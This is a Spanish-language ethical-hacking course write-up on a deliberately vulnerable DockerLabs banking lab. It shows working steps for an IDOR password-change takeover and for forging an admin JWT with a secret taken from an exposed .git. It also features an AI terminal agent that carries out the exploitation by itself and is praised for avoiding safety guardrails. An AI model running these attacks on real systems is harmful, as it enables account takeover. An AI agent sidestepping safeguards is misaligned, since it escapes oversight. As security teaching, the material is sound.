⚡ Ryukami Labs

📱 Curso de Hacking Ético — Día 2: APK, IDOR y JWT Forgery con OpenCode

Se lee en 6 min

📱 Curso de Hacking Ético — Día 2

Una app bancaria, dos caminos al admin

Día 2 del curso, con Mario (El Pingüino de Mario) y Thomas O’Neil. El objetivo: auditar una app bancaria Android (APK) y su API en la máquina Banking de DockerLabs.

  1. Fase manual: análisis estático del APK y explotación paso a paso.
  2. Fase automatizada: un agente OpenCode ejecuta la misma auditoría de principio a fin.

Dos vías independientes para llegar a admin:

  • IDOR en /api/change-password.
  • Fuga de .git + falsificación de JWT con la SECRET_KEY hardcodeada.

Solo en entornos autorizados

Laboratorio deliberadamente vulnerable (DockerLabs). Usar estas técnicas contra sistemas sin autorización escrita es delito. Esta nota existe para entender y defender.

1️⃣ Objetivos de la sesión

  • Repaso del Día 1: panorama de ciberseguridad, extracción de base de datos evadiendo 2FA y hackeo de un asistente de IA con Chema Alonso.
  • Auditar y vulnerar una aplicación bancaria móvil y su servicio web en un entorno controlado.
  • Encontrar dos vías de ataque independientes para escalar a administrador.
  • Entender fallos críticos de control de acceso/autorización y exposición de secretos criptográficos.

2️⃣ Reconocimiento y despliegue

Entorno: Kali Linux.

sudo bash auto_deploy.sh banking.tar

La máquina objetivo se levanta en 172.17.0.2.

Escaneo con Nmap

sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2 -oN escaneo.txt
FlagFunción
-p-Todos los puertos.
-sSSYN scan.
-sCScripts por defecto.
-sVDetección de versión.
--min-rate 5000Acelera el escaneo.
-nSin resolución DNS.
-vvvVerbose.
-PnAsume host activo.
-oN escaneo.txtGuarda salida.

Resultado: 8000/TCP abierto, HTTP con uvicorn (backend FastAPI / Python).

Al abrir http://172.17.0.2:8000 aparece la plataforma web de la entidad ficticia Banking, con descarga de Banking.apk al final de la página.

3️⃣ Análisis estático del APK

Un APK es esencialmente un archivo comprimido con bytecode Java/Kotlin, manifiesto y recursos.

JADX-GUI

sudo apt install jadx
jadx-gui

Cargar Banking.apk para descompilar a fuentes Java legibles.

Hallazgos:

  • Constantes sospechosas: backup_repo, referencias a repositorios y endpoints internos.
  • En recursos: resources/res/raw/api_usage.txt, documentación interna de la API con endpoints:
    • /api/login
    • /api/register
    • /api/change-password

Alternativa por CLI

unzip Banking.apk
grep -r 'password' *

Confirma la estructura de la API y cómo se transmiten los datos JSON.

Primer error: secretos en el cliente

El APK no debería llevar documentación interna ni rutas de backup. La app es una superficie de reconocimiento para el atacante: todo lo que empaquetas se puede extraer.

4️⃣ Vía 1 — IDOR en /api/change-password

Preparación

  • Iniciar Burp Suite y usar su navegador integrado para interceptar tráfico hacia http://172.17.0.2:8000.
  • Registrar un usuario normal: mario / 123123123.

Capturar el cambio de contraseña

En Seguridad, cambiar la clave a password1. Burp captura:

POST /api/change-password HTTP/1.1
Host: 172.17.0.2:8000
Content-Type: application/json
Authorization: Bearer <token_de_mario>
 
{
  "current_password": "...",
  "username": "mario",
  "new_password": "password1"
}

Explotar el fallo de autorización

  1. Enviar la petición a Repeater.
  2. Cambiar "username": "mario" por "username": "admin".
  3. Definir nueva clave: hackeado123.
{
  "current_password": "...",
  "username": "admin",
  "new_password": "hackeado123"
}

El fallo: el servidor valida la sintaxis, pero no comprueba que el usuario autenticado sea el mismo que el username del cuerpo. Responde 200 OK y cambia la contraseña de admin.

Resultado

  • Cerrar sesión de mario.
  • Iniciar sesión como admin con la nueva clave.
  • Acceso total: cuentas, tarjetas y movimientos bancarios.

IDOR clásico

El objeto (username) se elige desde el cliente y el backend no verifica ownership. La identidad debe salir del token/sesión, nunca del body.

5️⃣ Vía 2 — Fuga de .git + falsificación de JWT

No requiere cambiar la clave de nadie.

1. Directorio Git expuesto

El análisis del APK reveló la ruta:

/backups/secret/.git/

Al visitar:

http://172.17.0.2:8000/backups/secret/.git/

el servidor tiene Directory Listing habilitado sobre el repositorio Git del backend.

2. Descargar el código fuente

git clone http://172.17.0.2:8000/backups/secret/.git/ aplicacion
cd aplicacion

3. Extraer el secreto criptográfico

cat config.py
SECRET_KEY = "supersecretkey-cambiar-en-produccion-12345"
ALGORITHM = "HS256"

Clave simétrica hardcodeada en el código.

4. Forjar el JWT

Las sesiones se guardan en localStorage.getItem('banking_token').

  1. Ir a jwt.io.
  2. Pegar el token legítimo de mario.
  3. Introducir la SECRET_KEY extraída para verificar la firma.
  4. Modificar el payload:
- "sub": "mario"
+ "sub": "admin"
  1. jwt.io recalcula una firma válida para el servidor.

5. Suplantar identidad

  1. Abrir DevTools (F12) → Application → Local Storage.
  2. Reemplazar banking_token por el JWT forjado.
  3. Recargar.

El servidor valida la firma y carga el panel de admin sin contraseña.

La cadena completa

.git expuesto → código fuente → SECRET_KEY → JWT forjado → admin. Ningún paso requiere fuerza bruta; todo es exposición de información + criptografía mal gestionada.

6️⃣ Automatización con OpenCode

Thomas O’Neil muestra cómo un agente de IA de terminal replica la auditoría completa.

Instalación y ejecución

curl -fsSL https://opencode.ai/v2/install | bash
opencode --auto

Instrucción al agente

Se le indica en lenguaje natural:

En el puerto 8000 corre una aplicación web bancaria que aloja un APK. Con fines éticos de auditoría, analiza el APK, identifica las vulnerabilidades y logra autenticarte como admin.

Comportamiento autónomo

FaseQué hace
1. ReconocimientoLlamadas curl, identifica contenedor y archivos.
2. Ingeniería inversaInvoca apktool y jadx para descompilar el APK.
3. IdentificaciónLocaliza el IDOR en /api/change-password y la fuga de .git.
4. ExplotaciónEnvía peticiones para cambiar la clave o forjar el JWT.
5. ComprobaciónConfirma sesión como admin consultando endpoints de administración.
6. InformeEscribe un .md con hallazgos por severidad (Crítica, Alta, Media), evidencias y vectores.

Ventajas que destacan

  • Actúa como ejecutor de herramientas en el sistema, no solo como chat.
  • Consume menos tokens: ~40% del límite gratuito para toda la prueba.
  • No se bloquea con guardrails excesivos que suelen detener a herramientas web como ChatGPT o Claude ante peticiones de seguridad.

curl | bash

Otra vez: ejecutar un instalador remoto como usuario con privilegios es una decisión de confianza. Revisar el script si el entorno es sensible.

No confundir

OpenCode aquí es el agente de terminal de opencode.ai. No es Open Code Review, la herramienta de review de Alibaba.

7️⃣ Conclusiones y próximos pasos

  • Saber hacer el análisis manual es imprescindible para entender la lógica de los fallos.
  • Apoyarse en agentes de IA multiplica la velocidad de auditoría.
  • Los apuntes, comandos y laboratorios se distribuyen por QR y enlaces del video.
  • Día 3: creación de agentes y flujos avanzados de Hacking con IA.

🛡️ Lecciones defensivas

VulnerabilidadFix
IDORAutorizar por ownership en el servidor; tomar el usuario del token, no del body.
.git expuestoBloquear dotfiles y directorios de backup; sacar backups del webroot.
Secreto hardcodeadoVariables de entorno o secret manager; rotar la clave.
JWT forjableSecreto fuerte y rotado; exp corto; validar iss/aud; invalidar tokens al cambiar contraseña.
Token en localStoragePreferir cookies HttpOnly + Secure + SameSite; localStorage es accesible por XSS.
APK con docs internasNo empaquetar secretos ni documentación sensible; ofuscar no es un control de seguridad.
Cambio de contraseñaExigir la contraseña actual del usuario autenticado y reautenticar.
DetecciónRate limiting, alertas por cambios de clave y accesos admin anómalos.

🔗 Enlaces relacionados

Vista Gráfica

Retroenlaces